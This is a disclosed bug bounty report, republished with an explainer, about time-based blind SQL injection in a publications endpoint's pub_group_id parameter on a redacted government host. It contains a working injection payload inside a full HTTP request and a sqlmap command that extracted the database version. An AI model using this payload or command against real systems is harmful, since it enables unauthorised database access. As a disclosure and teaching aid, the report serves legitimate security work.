Skip to content
SQL injection Disclosed report Beginner

SQL Injection in the get_publications.php on the https://█████

The pub_group_id parameter of a publications endpoint was concatenated into a SQL query without sanitisation, allowing time-based blind injection. An attacker could confirm the flaw with a deliberate delay and extract database information such as the version banner.

sp1d3rs Follow

Originally disclosed on HackerOne

  • Triaged in 4 days
  • Fixed in 3 months
  • Disclosed after 8 months

##Description Hello. I was able to find Time-based SQLI on the https://███/pubs/get_publications.php using pub_group_id parameter

##POC

GET /pubs/get_publications.php?pub_group_id=wrtqvasi10rc19j1'%2b(select*from(select(sleep(5)))a)%2b'&rno86qi4=1 HTTP/1.1
Host: █████
Connection: keep-alive
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: https://█████/pubs/
Accept-Encoding: gzip, deflate, br
Accept-Language: en,ru;q=0.9,en-US;q=0.8,uk;q=0.7
Cookie: _ga=GA1.2.1697249984.1548431559; __utma=161700579.1697249984.1548431559.1548902867.1548902867.1; __utmz=161700579.1548902867.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); _test_cookie=0


This request will trigger the 5 sec delay of the response. By making sleep value as 10, request will be delayed for 10 seconds. As additional POC, that attacker is able to extract data, and it's not a false-positive, I retrieved DB banner (version) only using sqlmap command:

sqlmap.py -r test.txt --dbms=mysql --technique=T -p pub_group_id --banner --force-ssl --level=5

where test.txt is a text fiile contained request dump above. Result:

5.5.62-0ubuntu0.14.04.1

█████

No sensitive data such as databases, tables, or content was accessed.

Impact

SQL injection usually have high or critical impact.

The original report as published on HackerOne, by sp1d3rs. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the pub_group_id value was inserted into a SQL statement without parameterisation or validation, so injected SQL fragments were executed.

Impact

An attacker could extract arbitrary data from the database, though the reporter only retrieved the version banner and states no sensitive data was accessed.

What the attacker needed

Network access to the endpoint

How it was found

  1. Send a request to the publications endpoint with a crafted pub_group_id value containing a sleep expression.
  2. Observe that the response is delayed by about five seconds.
  3. Increase the sleep value and confirm the delay scales accordingly.
  4. Run an automated time-based injection tool against the saved request to retrieve the database banner.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A SQL injection happens when a website puts user input straight into a database query, so the input can change the query's meaning. Here the attacker made the database pause for several seconds, which proves the input reached the query. That same trick can be used to ask the database yes/no questions and slowly read data out.

What is SQL injection?

Input reaches a database query as code, letting an attacker read or change data the application never meant to expose.

More by sp1d3rs

View all

62 more disclosed reports, best first.

More from U.S. Dept Of Defense

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

SQL injection

The lesson behind this report.

Input reaches a database query as code, letting an attacker read or change data the application never meant to expose.